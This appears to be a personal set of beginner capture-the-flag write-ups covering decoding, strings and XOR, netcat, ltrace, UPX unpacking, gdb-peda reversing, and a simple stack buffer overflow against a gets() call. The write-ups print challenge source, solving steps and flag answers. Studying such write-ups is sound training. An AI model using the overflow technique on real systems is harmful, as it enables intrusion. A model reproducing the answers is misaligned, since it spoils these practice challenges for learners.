- Topics
  - CTF Challenges
- Tools
  - Tools used in challenges
  - Tools Documentation
- Resources
- Writeups :
  - Crypto:
    - Base 2 2 the 6
    - Character Encoding
  - Forensics
    - Gandalg The Wise
  - General:
    - Nice Netcat
    - Wave a flag
  - Reverse:
    - Packed Away
    - Reykjavik
  - Binary :
    - Simple Bof

Topics

CTF Challenges

Category (5)	Writeup	Site	Difficulty
Binary	• Simple Bof	• ctflearn	• easy
Cryptography	• Base 2 2 the 6	• ctflearn	• easy
	• Character Encoding	• ctflearn	• easy
Forensics	• GandalfTheWise	• ctflearn	• easy
General	• Nice netcat	• picoCTF	• -
	• Wave a flag	• picoCTF	• easy
ReverseEngineering	• PackedAway	• HTB	• very easy
	• Reykjavik	• ctflearn	• easy

File (8)	URL
Simple Bof	https://ctflearn.com/challenge/1010
Base 2 2 the 6	https://ctflearn.com/challenge/192
Character Encoding	https://ctflearn.com/challenge/115
GandalfTheWise	https://ctflearn.com/challenge/936
Nice netcat	https://play.picoctf.org/practice/challenge/156?category=5&page=1
Wave a flag	https://play.picoctf.org/practice/challenge/170?category=5&page=1
PackedAway	Apocalypse 2024
Reykjavik	https://ctflearn.com/challenge/990

Tools

Tools used in challenges

File (8)	Tools
Simple Bof	• cyberchef
Base 2 2 the 6	• base64
Character Encoding	• cyberchef
GandalfTheWise	• base64 • strings
Nice netcat	• ncat • python
Wave a flag	• ltrace
PackedAway	• strings
Reykjavik	• gdb-peda

Tools Documentation

- gdb

- Ncat
- cyberchef

Resources

ctf Handbook

base64 encoding

Writeups :

Crypto:

Base 2 2 the 6

Base 2 2 the 6

- Description
- Steps
  - Theory
  - Solution
- Flag

Description

Summary

There are so many different ways of encoding and decoding
information nowadays... One of them will work!

```
Q1RGe0ZsYWdneVdhZ2d5UmFnZ3l9
```

Steps

Theory

chr(48) - chr(126) are the numbers and symbols

2 2 the 6 : 2 to the six power = 2^6 =64

Base64 decode

```
echo 'stuff' | base64 # to be encoded
```

```
echo 'stuff' | base64 --decode / -d
```

Solution

```
echo "Q1RGe0ZsYWdneVdhZ2d5UmFnZ3l9" | base64 -d
```

Output:

```
CTF{FlaggyWaggyRaggy}
```

Flag

flag

CTF{FlaggyWaggyRaggy}

Character Encoding

Character Encoding

- Description
- Steps
- Flag

Description

Summary

Assginment :

In the computing industry, standards are established to facilitate information interchanges among American coders.
Unfortunately, I've made communication a little bit more difficult.
Can you figure this one out?

```
41 42 43 54 46 7B 34 35 43 31 31 5F 31 35 5F 55 35 33 46 55 4C 7D
```

Steps

hex to ascii
from online converter

my own converter works too

ABCTF{45C11_15_U53FUL}

Flag

`ABCTF{45C11_15_U53FUL}`

✓ flag

ABCTF{45C11_15_U53FUL}

Forensics

Gandalg The Wise

GandalfTheWise

- Description
- Steps
- Flag

Description

Summary

Extract the flag from the Gandalf.jpg file. You may need to write a quick script to solve this.

Steps

```
strings image
```

we see three strings

```
+Q1RGbGVhcm57eG9yX2lzX3lvdXJfZnJpZW5kfQo=
+xD6kfO2UrE5SnLQ6WgESK4kvD/Y/rDJPXNU45k/p
+h2riEIj13iAp29VUPmB+TadtZppdw3AuO7JRiDyU
```

```
echo Q1RGbGVhcm57eG9yX2lzX3lvdXJfZnJpZW5kfQo= | base64 -d
```

output:

```
CTFlearn{xor_is_your_friend}
```

```
import base64

string1 = "xD6kfO2UrE5SnLQ6WgESK4kvD/Y/rDJPXNU45k/p"
string2 = "h2riEIj13iAp29VUPmB+TadtZppdw3AuO7JRiDyU"

# turn them into bytes
c1 = base64.b64decode(string1)
c2 = base64.b64decode(string2)

c = [chr(c1[i] ^ c2[i]) for i in range(len(c1))]

print("".join(c))
```

Flag

`CTFlearn{Gandalf.Bilbc`

flag

CTFlearn{Gandalf.BilboBaggins}

General:

Nice Netcat

Nice netcat

- Description
- Steps
- Flag

Description

Summary

There is a nice program that you can talk to by using this command in a shell: `$ nc mercury.picoctf.net 49039`, but it doesn't speak English...

Steps

```
nc mercury.picoctf.net 49039 | tee netcat_response.txt
```

```
112
105
99
111
67
84
70
123
103
48
48
100
95
107
49
116
116
121
33
95
110
49
99
51
95
107
49
116
116
121
33
95
51
100
56
52
101
100
99
56
125
10
```

Create a python script to turn the numbers to ascii

```
vim solution.py
```

```python
#!/bin/python
from pathlib import Path


def main():
    parent = Path(__file__).resolve().parent
    path = Path(parent, "netcat_response.txt")

    with open(path) as file:
        data = file.read().split("\n")
        for i, v in enumerate(data):
            if v in ["", " "]:
                data.remove(v)
            else:
                data[i] = data[i].strip()

        data = [int(i) for i in data if i.isalnum()]

        print("".join(map(chr, data)))


if __name__ == "__main__":
    main()
```

```
python solution.py
```

```
picoCTF{g00d_k1tty!_n1c3_k1tty!_3d84edc8}
```

Flag

`picoCTF{g00d_k1tty!_n1`

✓ flag

picoCTF{g00d_k1tty!_n1c3_k1tty!_3d84edc8}

Wave a flag

Wave a flag

- Description
- Steps
- Flag

Description

Summary

Can you invoke help flags for a tool or binary? This program has extraordinarily helpful information...

Steps

```
file warm
```

```
warm: ELF 64-bit LSB pie executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, for GNU/Linux 3.2.0, BuildID[sha1]=7b3da2efd83a2b9154697b6c7f6474042e1fd033, with debug_info, not stripped
```

```
ltrace ./warm
puts("Hello user! Pass me a -h to lear"...Hello user! Pass me a -h to learn what I can do!
)                                                 = 49
+++ exited (status 49) +++
```

```
./warm -h
```

```
Oh, help? I actually don't do much, but I do have this flag here: picoCTF{b1scu1ts_4nd_gr4vy_6635aa47}
```

Flag

`picoCTF{b1scu1ts_4nd_g`

✓ **flag**

picoCTF{b1scu1ts_4nd_gr4vy_6635aa47}

Reverse:

Packed Away

PackedAway

- Description
- Steps
- Flag

Description

Summary

To escape the arena's latest trap, you'll need to get into a secure vault - and quick! There's a password prompt waiting for you in front of the door however - can you unpack the password quick and get to safety?

Steps

```
file packed
```

```
packed: ELF 64-bit LSB pie executable, x86-64, version 1 (SYSV), statically linked, no section header
```

```
 H@@@@@@@H@E@H@E@A@A@@H@f@@@H@5         H@@@@@@@*@@@H@@H@E@H@@H@@@@@@H@@H@U@@E@@H@@@T@@@@E@H@E@H@@@@@@@E@@@HHJHr3t_0f_th3_p45}
```

```
objdump -d packed
```

```
packed:     file format elf64-x86-64
```

```
checksec --file=packed
[!] Did not find any GOT entries
    Arch:     amd64-64-little
    RELRO:    No RELRO
    Stack:    No canary found
    NX:       NX enabled
    PIE:      PIE enabled
    Packer:   Packed with UPX
```

```
upx -d packed
```

Cannot needed a newer version

https://fileproinfo.com/tools/viewer/upx

```
strings packed
```

```
HTB{unp4ck3d_th3_s3cr3t_0f_th3_p455w0rd}
```

Flag

`HTB{unp4ck3d_th3_s3cr3`

✓ **flag**

HTB{unp4ck3d_th3_s3cr3t_0f_th3_p455w0rd}

Reykjavik

Reykjavik

- Description
- Steps
  - Alternative software

- Flag

Description

Summary

Good beginning Reversing challenge - jump into gdb and start looking for the flag!

Steps

```
ls
```

```
Reykjavik      sources.zip.enc
Reykjavik.zip  readme
```

so we install gdb-peda

and then run it :

```
gdb --args Reykjavik CTFlearn{test}
```

```
gdb-peda$ start
gdb-peda$ disas
```

find the pointer of the memory that does the strcmp and break there

```
0x0000555555555168 <+200>:      call   0x555555555080 <strcmp@plt>
```

```
gdb-peda$ b *0x0000555555555168
Breakpoint 2 at 0x555555555168
```

```
gdb-peda$ r
```

```
Starting program: /home/figaro/CTF/ctflearn_com/Reverse_Engineering/Reykjavik/Reykjavik CTFlearn\{test\}
[Thread debugging using libthread_db enabled]
Using host libthread_db library "/lib/x86_64-linux-gnu/libthread_db.so.1".
Welcome to the CTFlearn Reversing Challenge Reykjavik v2: CTFlearn{test}
Compile Options: ${CMAKE_CXX_FLAGS} -O0 -fno-stack-protector -mno-sse


[----------------------------------registers-----------------------------------]
RAX: 0xffffff7d
RBX: 0x7fffffffdc78 --> 0x7fffffffe032 ("/home/figaro/CTF/ctflearn_com/Reverse_Engineering/Reykjavik/Reykjavik")
RCX: 0x16
RDX: 0x76304c5f6579457b ('{Eye_L0v')
RSI: 0x7fffffffe078 ("CTFlearn{test}")
RDI: 0x7fffffffdb30 ("CTFlearn{Eye_L0ve_Iceland_}")
RBP: 0x7fffffffe078 ("CTFlearn{test}")
RSP: 0x7fffffffdb30 ("CTFlearn{Eye_L0ve_Iceland_}")
RIP: 0x555555555168 (<main+200>:        call   0x555555555080 <strcmp@plt>)
R8 : 0x55555557a000
R9 : 0x73 ('s')
R10: 0x0
R11: 0x202
R12: 0x0
R13: 0x7fffffffdb30 ("CTFlearn{Eye_L0ve_Iceland_}")
R14: 0x0
R15: 0x7ffff7ffd020 --> 0x7ffff7ffe2f0 --> 0x555555554000 --> 0x10102464c457f
EFLAGS: 0x286 (carry PARITY adjust zero SIGN trap INTERRUPT direction overflow)
[-------------------------------------code-------------------------------------]
   0x55555555515a <main+186>:   movzx  eax,BYTE PTR [rip+0x2ec9]        # 0x55555555802a <data+26>
   0x555555555161 <main+193>:   xor    eax,0xffffffab
   0x555555555164 <main+196>:   mov    BYTE PTR [rsp+0x1a],al
=> 0x555555555168 <main+200>:   call   0x555555555080 <strcmp@plt>
   0x55555555516d <main+205>:   mov    r12d,eax
   0x555555555170 <main+208>:   test   eax,eax
   0x555555555172 <main+210>:   jne    0x555555555197 <main+247>
   0x555555555174 <main+212>:   mov    rdx,r13
No argument
[-------------------------------------stack-------------------------------------]
0000| 0x7fffffffdb30 ("CTFlearn{Eye_L0ve_Iceland_}")
0008| 0x7fffffffdb38 ("{Eye_L0ve_Iceland_}")
0016| 0x7fffffffdb40 ("e_Iceland_}")
0024| 0x7fffffffdb48 --> 0x7fff007d5f64
0032| 0x7fffffffdb50 --> 0x2
```

```
0040| 0x7fffffffdb58 --> 0x0
0048| 0x7fffffffdb60 --> 0x7fffffffdc90 --> 0x7fffffffe087 ("SHELL=/usr/bin/bash")
0056| 0x7fffffffdb68 --> 0x7ffff7de124a (<__libc_start_call_main+122>:  mov    edi,eax)
[-------------------------------------------------------------------------------]
Legend: code, data, rodata, value

Breakpoint 2, 0x0000555555555168 in main ()
```

flag : CTFlearn{Eye*L0ve_Iceland*}

```
./Reykjavik CTFlearn{Eye_L0ve_Iceland_}
```

```
Welcome to the CTFlearn Reversing Challenge Reykjavik v2: CTFlearn{Eye_L0ve_Iceland_}
Compile Options: ${CMAKE_CXX_FLAGS} -O0 -fno-stack-protector -mno-sse

Congratulations, you found the flag!!: 'CTFlearn{Eye_L0ve_Iceland_}'
```

Alternative software

Cutter : for disassembly
But the libraries in parrot where fried so it couldn't work

yt source

Flag

`CTFlearn{Eye_L0ve_Icel`

✓ flag

CTFlearn{Eye_L0ve_Iceland_}

Binary :

Simple Bof

Simple Bof

- Simple Bof
- Steps
- Files
- Flag
- Flag

Simple Bof

Summary

Want to learn the hacker's secret? Try to smash this buffer!

You need guidance? Look no further than to Mr. Liveoverflow. He puts out nice videos you should look if you haven't already

nc thekidofarcrania.com 35235

Steps

Files

```c
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>

// Defined in a separate source file for simplicity.
void init_visualize(char* buff);
void visualize(char* buff);
void safeguard();

void print_flag();

void vuln() {
  char padding[16];
  char buff[32];
  int notsecret = 0xffffff00;
```

```
  int secret = 0xdeadbeef;

  memset(buff, 0, sizeof(buff)); // Zero-out the buffer.
  memset(padding, 0xFF, sizeof(padding)); // Zero-out the padding.

  // Initializes the stack visualization. Don't worry about it!
  init_visualize(buff);

  // Prints out the stack before modification
  visualize(buff);

  printf("Input some text: ");
  gets(buff); // This is a vulnerable call!

  // Prints out the stack after modification
  visualize(buff);

  // Check if secret has changed.
  if (secret == 0x67616c66) { // 1734437990 int
    puts("You did it! Congratuations!");
    print_flag(); // Print out the flag. You deserve it.
    return;
  } else if (notsecret != 0xffffff00) {
    puts("Uhmm... maybe you overflowed too much. Try deleting a few characters.");
  } else if (secret != 0xdeadbeef) {
    puts("Wow you overflowed the secret value! Now try controlling the value of it!");
  } else {
    puts("Maybe you haven't overflowed enough characters? Try again?");
  }

  exit(0);
}

int main() {
  setbuf(stdout, NULL);
  setbuf(stdin, NULL);
  safeguard();
  vuln();
}
```

we want the secret to have the value : 0x67616c66
we change it from hex to ascii : galf
we remember that it being a stack it takes the values with reverse order
so flag
python command 13 times flag

```
Legend: buff MODIFIED padding MODIFIED
  notsecret MODIFIED secret MODIFIED CORRECT secret
0xfffb71e8 | 00 00 00 00 00 00 00 00 |
0xfffb71f0 | 00 00 00 00 00 00 00 00 |
0xfffb71f8 | 00 00 00 00 00 00 00 00 |
0xfffb7200 | 00 00 00 00 00 00 00 00 |
0xfffb7208 | ff ff ff ff ff ff ff ff |
0xfffb7210 | ff ff ff ff ff ff ff ff |
0xfffb7218 | ef be ad de 00 ff ff ff |
0xfffb7220 | c0 05 ef f7 84 0f 62 56 |
0xfffb7228 | 38 72 fb ff 11 eb 61 56 |
0xfffb7230 | 50 72 fb ff 00 00 00 00 |
```

```
Input some text: flagflagflagflagflagflagflagflagflagflagflagflag

Legend: buff MODIFIED padding MODIFIED
  notsecret MODIFIED secret MODIFIED CORRECT secret
0xfffb71e8 | 66 6c 61 67 66 6c 61 67 |
0xfffb71f0 | 66 6c 61 67 66 6c 61 67 |
0xfffb71f8 | 66 6c 61 67 66 6c 61 67 |
0xfffb7200 | 66 6c 61 67 66 6c 61 67 |
0xfffb7208 | 66 6c 61 67 66 6c 61 67 |
0xfffb7210 | 66 6c 61 67 66 6c 61 67 |
0xfffb7218 | 66 6c 61 67 00 ff ff ff |
0xfffb7220 | c0 05 ef f7 84 0f 62 56 |
0xfffb7228 | 38 72 fb ff 11 eb 61 56 |
0xfffb7230 | 50 72 fb ff 00 00 00 00 |
```

You did it! Congratuations!
CTFlearn{buffer_0verflows_4re_c00l!}

Flag

✓ **flag**

CTFlearn{buffer_0verflows_4re_c00l!}

Flag

`CTFlearn{buffer_0verfl`

✓ **flag**

CTFlearn{buffer_0verflows_4re_c00l!}